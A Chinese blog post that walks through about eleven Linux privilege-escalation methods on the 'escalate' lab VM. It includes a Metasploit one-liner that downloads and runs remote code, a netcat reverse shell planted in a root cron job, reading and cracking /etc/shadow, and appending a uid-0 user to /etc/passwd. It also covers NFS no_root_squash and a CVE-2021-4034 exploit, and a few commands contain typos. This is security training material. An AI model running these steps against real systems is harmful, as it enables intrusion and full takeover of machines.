• 以escalate靶机为例学习linux的提权方式-linux提权学习笔记(1)


    本博客配合以下视频效果更佳。啊B叔叔的,请自行按照关键词搜索。
    在这里插入图片描述

    escalate靶机是一个可以用于学习linux提权的靶机,下载下来后,可以使用vmware直接打开。下载地址如下:在这里插入图片描述
    下载后打开,将主机的网络设置为仅主机模式。同时虚拟机的kali攻击机也设置为仅主机模式。
    最后的两台主机配置如下:

    kali            192.168.80.130
    escalate靶机     192.168.80.129
    
    • 1
    • 2

    提权前准备

    因为我们的主要目的是学习提权,因此前面的步骤我们简单写一下。
    先用masscan能发现存在80等等端口开放,但是没挖掘出更多的信息,因此使用dirsearch爆破一下目录,发现存在一个shell.php。(还有index.html,就是主界面)

    192.168.80.129/shell.php
    
    • 1

    访问后,出现一个提示,说将cmd作为一个参数传参。
    在这里插入图片描述
    既然可以传参,那么我们直接测试一下看能不能命令执行,结果发现能执行命令。

    192.168.80.129/shell.php?cmd=id
    
    • 1

    在这里插入图片描述
    既然如此,那么我们传递一个shell上去。打开msf,然后使用multi/script/web_delivery模块来生成。

    use exploit/multi/script/web_delibery
    set SRVHOST 192.168.80.130
    set LHOST 192.168.80.130
    run
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    一旦运行,会生成一段python代码,我们将其使用url编码后,作为cmd的参数,回车,可以拿到远程的meterpreter。

    python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.80.130:8080/FKxRz4C', context=ssl._create_unverified_context());exec(r.read());"
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    拿到靶机的meterpreter
    在这里插入图片描述

    提权方式1:SUID提权

    SUID的提权原理可以参考这个博客
    https://blog.csdn.net/weixin_39430198/article/details/123504153
    接下来我们实操,在获取到meterpreter后,输入shell拿到shell,然后使用以下命令查找存在SUID权限的文件

    find / -user root -perm -4000 -type f 2>/dev/null
    
    • 1

    发现存在一个user3用户的shell文件,可以利用起来
    在这里插入图片描述
    tips:上一步中,如果要直接显示文件的权限,可以使用以下命令

    find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \;
    
    • 1

    进入目录,直接执行,拿到权限

    cd /home/user3
    ./shell
    
    • 1
    • 2

    在这里插入图片描述
    SUID文件在执行的时候以属主的身份执行,因此拿到了root的权限,若是对一些特殊命令设置了SUID,那么就会有被利用提权的可能性,常用的SUID提权命令有nmap,vim,find,bash,more,less,nano以及cp等等。

    提权方式2:环境变量劫持提权

    简单来说就是SUID文件的权限高,而它去调用其他命令时,我们劫持了这个命令,并且这个命令的内容是/bin/bash,这样就相当于使用root权限运行了命令,拿到了高权限的shell。
    我们看下实操。
    首先是在user5的用户下面发现了SUID文件,执行这个SUID文件,发现其命令类似于ls命令,那好了,我们也创建一个ls命令,但是这个ls执行的内容是/bin/bash,从而我们拿到了高权限的shell。

    cd /home/user5
    ls
    ./script
    echo $PATH
    echo "/bin/bash" > tmp/ls
    export PATH=/tmp:$PATH 
    echo $PATH  
    chmod 755 /tmp/ls
    ./script
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述

    提权方式3:破解/etc/shadow文件提权

    这种方式就是爆破root用户的密码。具体操作如下。
    通过前面可知,我们能够通过命令劫持来拿到最高权限,那么我们也可以劫持命令,去读取/etc/shadow文件。

    echo 'cat /etc/shadow' >/tmp/ls
    ./script
    
    • 1
    • 2

    在这里插入图片描述
    接着复制root用户的账户和密码,并且保存为hash.txt

    echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt
    
    • 1

    使用john爆破

    john hash.txt
    
    • 1

    在这里插入图片描述

    提权方式4:修改sudoers文件中的用户密码提权

    还是使用前面的SUID文件,读取/etc/sudoers文件

    echo 'cat /etc/suoders >/tmp/ls
    ./script
    
    • 1
    • 2

    在这里插入图片描述
    发现user1有戏,那么好,继续用SUID来修改user1的密码

    echo 'echo "user1:pi1grim" | chpasswd' >/tmp/ls
    ./script
    su user1
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    提权方式5:使用定计划任务提权crontab

    计划任务就是定时任务,一般运维会采用脚本去定时执行,但是如果权限配置不当的话,就会存在一些问题。
    在开始介绍提权方式之前,先介绍下crontab,crontab是linux的计划任务,启动后的服务时crond,配置文件为/etc/crontab,可以通过配置文件定期执行程序或者命令。或者直接使用crontab命令也可以。
    具体关于crontab命令的解析,可以参考这个链接
    在这里插入图片描述
    重复前期准备工作,拿到shell。通过以下命令,我们能得出user4存在一个定时任务,并且是每五分钟用root权限执行一次。

    cat /etc/crontab
    
    • 1

    在这里插入图片描述
    既然是在user4的目录下面,我们就需要进入user4的目录,但是我们没有user4的权限,因此我们可以通过前面提权方式4中的sudoers修改用户的密码。
    首先将以下内容输入至ls文件中,并且劫持一下环境变量

     echo 'echo "user4:xiaoxiao" | chpasswd ' >/tmp/ls
     export PATH=/tmp/:$PATH
    
    • 1
    • 2

    在这里插入图片描述
    接着赋予权限

    chmod +x /tmp/ls
    
    • 1

    在这里插入图片描述
    此时我们具备了编辑定时任务的权限。一个简单而且直接的办法是使用nc直接反弹shell至本机,但是经过测试后发现不行。使用msfvenom生成的反弹shell可以。

    msfvenom -p cmd/unix/reverse_netcat lhost=192.168.80.130 lport=8888
    
    • 1

    生成内容如下:

    mkfifo /tmp/vpmr; nc 192.168.80.130 8888 0</tmp/vpmr | /bin/sh >/tmp/vpmr 2>&1; rm /tmp/vpmr
    
    • 1

    在这里插入图片描述

    将这个内容写入定时任务

    echo 'mkfifo /tmp/vpmr; nc 192.168.80.130 8888 0</tmp/vpmr | /bin/sh >/tmp/vpmr 2>&1; rm /tmp/vpmr' > autoscript.sh
    
    • 1

    然后本地使用nc监听一下8888端口,即可拿到root的shell。

    nc -lnvp 8888
    
    • 1

    在这里插入图片描述

    提权方式6:利用sudo提权

    上一步完成后,重新进入user6账户,然后使用以下命令查看sudoers文件信息。

    echo 'cat /etc/sudoers' >/tmp/ls
    chmod +x /tmp/ls
    export PATH=/tmp:$PATH
    /home/user5/script
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    注意看sudoers文件中的user8用户,其可以通过root身份运行vi。这给提权创造了空间。为什么呢?因为vi存在交互模式,即可以在vi中运行命令。
    在提权之前,我们要先进入user8用户

    echo 'echo "user8:xiao" | chpasswd' >/tnp/ls
    /home/user5/script
    su user8
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    查看一下授权列表

    sudo -l
    
    • 1

    在这里插入图片描述
    打开vi,使用sudo的原因就是用root权限来执行

    sudo vi   
    
    • 1

    在这里插入图片描述
    在vi中输入以下命令,启用root权限的终端

    :!/bin/bash
    
    • 1

    在这里插入图片描述
    在这里插入图片描述
    成功拿到root权限。

    注意:在拿到root权限后,想要退出当前终端可以使用exit命令退出,会重新回到vi界面中去,回到vi界面后,重新按照vi命令退出即可。

    tips:上述演示是通过vi来获取root权限,其他要注意的命令包含find,less,more,git等等,在使用visudoers配置后,都会被利用来提权,比如使用

    ls /etc | sudo more
    
    • 1

    然后输入

    :!/bin/bash
    
    • 1

    也一样可以拿到root权限
    在这里插入图片描述
    如下这个例子是当find被授权后,利用find提权,在找到f1文件后,执行shell。
    在这里插入图片描述

    提权方法7:利用超级用户提权

    还是在user6账户下,通过读取sudoers文件来查看用户权限情况

    echo 'cat /etc/sudoers' >/tmp/ls
    chmod +x /tmp/ls
    export PATH=/tmp:$PATH
    /home/user5/script
    
    • 1
    • 2
    • 3
    • 4

    发现其中的user2有user1用户的权限,而user1又是root用户的权限,好了,这下也可以提权
    在这里插入图片描述
    同样的,我们需要继续劫持变量来修改user1和user2的密码

    echo 'echo "user1:xiao" | chpasswd' >/tmp/ls 
    /home/user5/script
    echo 'echo "user2:xiao" | chpasswd' >/tmp/ls
    /home/user5/script 
    su user2
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    然后使用以下命令提权成功

    sudo -u user1 sudo su
    
    • 1

    这条命令的含义是user2以user1的权限执行sudo su。
    在这里插入图片描述

    提权方法9:利用/etc/passwd具有写入权限进行提权

    思路:写入一个超级用户(uid为0的用户)进行提权
    首先查看passwd文件的权限,发现属组对passwd文件有读写权限,这是不正确的配置。

    /bin/ls -l /etc/passwd
    
    • 1

    在这里插入图片描述
    读取passwd文件发现user7属于root组。

    cat /etc/passwd
    
    • 1

    在这里插入图片描述
    我们可以编辑passwd文件,而passwd文件可以添加用户,那么我们就可以生成信息,然后添加到passwd文件中即可。
    首选要拿到user7的权限,与前面几个方法相同,劫持变量来添加密码

    echo 'echo "user7:xiao" | chpasswd' >/tmp/ls 
    /home/user5/script
    su user7
    
    • 1
    • 2
    • 3

    passwd文件的含义如下:

    user7:x:1006:0:user7,,,:/home/user7:/bin/bash
    用户名:用户密码(x表示存储在shadow文件中):用户ID:组ID:用户描述:家目录:用户shell
    
    • 1
    • 2

    理论上,我们可以编辑以下一行添加test超级用户

    test:123456:0:0:root/root:/bin/bash
    
    • 1

    但是其实不可以,因为不可以存储明文的密码,需要使用openssl来生成。

    openssl passwd -1 -salt test 123456
    
    • 1

    在这里插入图片描述
    组装成passwd文件的样子

    test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root/root:/bin/bash
    
    • 1

    追加至passwd文件

    echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root/root:/bin/bash' >>/etc/passwd
    
    • 1

    登录test用户,获取root权限

    在这里插入图片描述

    提权方法9:利用mysql提权(视频中没有提权成功,只提供了间接的思路)

    通过查看本地开放的端口,发现存在一个mysql的服务

    netstat -tnlp
    
    • 1

    在这里插入图片描述
    测试mysql的密码,发现存在弱口令root

    mysql -uroot -p
    root
    
    • 1
    • 2

    在这里插入图片描述
    通过在user数据库中的user_info表中,找到了一个用户名mysql和密码mysql@12345。
    在这里插入图片描述
    同时发现靶机里面也存在一个mysql用户

    id mysql
    
    • 1

    在这里插入图片描述
    尝试使用上述账号密码登录,发现能成功登录

    su mysql
    
    • 1

    在这里插入图片描述
    在/var/mysql找到了mysql用户的敏感文件

    cd /var/mysql
    ls -alh
    
    • 1
    • 2

    在这里插入图片描述
    赋予权限后,发现了各个用户的密码

    chmod 664 .user_informations
    cat .user_informations
    
    • 1
    • 2

    在这里插入图片描述
    同时在/etc/mysql/secret.cnf发现了root的密码(其实不能登录)

    cat /etc/mysql/secret.cnf
    
    • 1

    在这里插入图片描述

    提权方式10:利用NFS提权

    原理的简单解释:由于nfs一般是共享时使用的,因此存在登录的权限问题,在/etc/exports配置文件中,一般会出现两个配置选项,分别是no_root_squash和root_squash,Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。相信大家读到这个地方看出我们能利用的地方。
    靶机中的/etc/exports配置信息

    cat /etc/exports
    
    • 1

    在这里插入图片描述
    靶机中配置的最后一行出现了任意用户都有读写权限,而且是no_root_squash(注意,一定是这个选项才能提权)。
    在攻击机查询靶机的nfs挂载信息

    showmount -e 192.168.80.129
    
    • 1

    在这里插入图片描述
    新建一个文件夹,并将靶机的文件夹挂载过来

    mkdir nfs
    mount -t nfs 192.168.80.129:/home/user5 /tmp/ls
    
    • 1
    • 2

    在这里插入图片描述
    访问挂载的文件夹,发现文件同步过来了
    在这里插入图片描述
    将攻击机的shell复制到这个文件夹中,那么就会在靶机上也有一个shell了

    cp /usr/bin/sh .
    chmod u+sx sh
    
    • 1
    • 2

    在这里插入图片描述
    在靶机上能看到存在的sh
    在这里插入图片描述
    使用-p选项执行sh,成功拿到root权限

    /home/user5/sh -p
    
    • 1

    在这里插入图片描述

    提权方式11:利用cve-2021-4034提权

    具体的原理可以百度,涉及到二进制相关的,我也不太懂。后面讲如何利用。
    可以通过以下链接获取到利用的脚本。
    在这里插入图片描述
    下载下来后上传到kali,然后启用一个http服务器,上传至靶机,然后解压
    在这里插入图片描述
    进入文件夹,make编译,然后执行./cve-2021-4034.sh

    cd cve-2021-4034-mian
    make
    ./cve-2021-4034.sh
    
    • 1
    • 2
    • 3

    等了很久,成功
    在这里插入图片描述

  • 相关阅读:
    第2-3-1章 文件存储服务系统-nginx/fastDFS/minio/阿里云oss/七牛云oss
    TDengine 成功“晋级” Percona Live 2023 银牌赞助商,开发者驻足关注
    隐式类型转换
    pytorch数据增强
    【前端】html+css案例:品优购 代码存档
    分享:中兴 远航 30 pro root 解锁BL magisk ZTE 7532N 8040N 9041N 刷机 刷面具原厂刷机包 root方法下载
    使用 Amazon Lightsail 的优势:为初创企业简化基础架构并提升运营效率
    mybatis-plus的逻辑删除
    ue4项目运行还可以鼠标点击
    NPDP值得产品经理学习吗?
  • 原文地址:https://blog.csdn.net/zr1213159840/article/details/125136212